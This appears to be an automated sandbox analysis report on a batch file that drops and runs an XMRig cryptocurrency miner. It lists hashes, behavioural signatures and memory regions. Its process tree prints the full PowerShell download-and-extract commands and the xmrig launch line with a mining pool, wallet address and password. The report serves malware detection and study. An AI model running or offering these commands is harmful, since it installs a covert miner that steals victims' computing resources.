Resubmissions

Analysis

  • max time kernel
    1799s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18/03/2024, 18:05

General

  • Target

    15.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\15.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4476
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2024

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a6cb8dec7cb20c6227f9e6b8658f2523

    SHA1

    65322fa96a2f7a6490857c6cfbf3245efcde4162

    SHA256

    1a6d460510aa0f35a285262e58fe1d98fa5bcd83c85305d5909483771a858601

    SHA512

    db039740c31b0c620919a636410dff38944a28a0ff509f0cdca36ee3bce1ab07b6d1b6dd4d5df93971a9431150e2219c6fcf0c46b1e23ff2f4dff06c6866067d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhlbel1q.22u.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1212-4-0x0000019DBC860000-0x0000019DBC882000-memory.dmp

    Filesize

    136KB

  • memory/1212-5-0x00007FFBAA560000-0x00007FFBAAF4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1212-8-0x0000019DBAEF0000-0x0000019DBAF00000-memory.dmp

    Filesize

    64KB

  • memory/1212-6-0x0000019DBAEF0000-0x0000019DBAF00000-memory.dmp

    Filesize

    64KB

  • memory/1212-10-0x0000019DD4FF0000-0x0000019DD5066000-memory.dmp

    Filesize

    472KB

  • memory/1212-25-0x0000019DBAEF0000-0x0000019DBAF00000-memory.dmp

    Filesize

    64KB

  • memory/1212-30-0x00007FFBAA560000-0x00007FFBAAF4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2024-142-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-147-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-184-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-183-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-182-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-181-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-116-0x0000027C19540000-0x0000027C19560000-memory.dmp

    Filesize

    128KB

  • memory/2024-117-0x0000027C19590000-0x0000027C195B0000-memory.dmp

    Filesize

    128KB

  • memory/2024-118-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-119-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-120-0x0000027C195B0000-0x0000027C195D0000-memory.dmp

    Filesize

    128KB

  • memory/2024-121-0x0000027C19860000-0x0000027C19880000-memory.dmp

    Filesize

    128KB

  • memory/2024-122-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-123-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-124-0x0000027C195B0000-0x0000027C195D0000-memory.dmp

    Filesize

    128KB

  • memory/2024-125-0x0000027C19860000-0x0000027C19880000-memory.dmp

    Filesize

    128KB

  • memory/2024-126-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-127-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-128-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-129-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-130-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-131-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-132-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-133-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-134-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-135-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-136-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-137-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-138-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-139-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-140-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-141-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-180-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-143-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-144-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-145-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-146-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-179-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-148-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-149-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-150-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-151-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-152-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-153-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-154-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-155-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-156-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-157-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-158-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-159-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-160-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-161-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-162-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-163-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-164-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-165-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-166-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-167-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-168-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-169-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-170-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-171-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-172-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-173-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-174-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-175-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-176-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-177-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/2024-178-0x00007FF74A3F0000-0x00007FF74AEF3000-memory.dmp

    Filesize

    11.0MB

  • memory/4476-36-0x00000203EAF60000-0x00000203EAF70000-memory.dmp

    Filesize

    64KB

  • memory/4476-34-0x00007FFBAA560000-0x00007FFBAAF4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4476-89-0x00000203EB440000-0x00000203EB44A000-memory.dmp

    Filesize

    40KB

  • memory/4476-76-0x00000203EB460000-0x00000203EB472000-memory.dmp

    Filesize

    72KB

  • memory/4476-62-0x00000203EAF60000-0x00000203EAF70000-memory.dmp

    Filesize

    64KB

  • memory/4476-38-0x00000203EAF60000-0x00000203EAF70000-memory.dmp

    Filesize

    64KB

  • memory/4476-113-0x00007FFBAA560000-0x00007FFBAAF4C000-memory.dmp

    Filesize

    9.9MB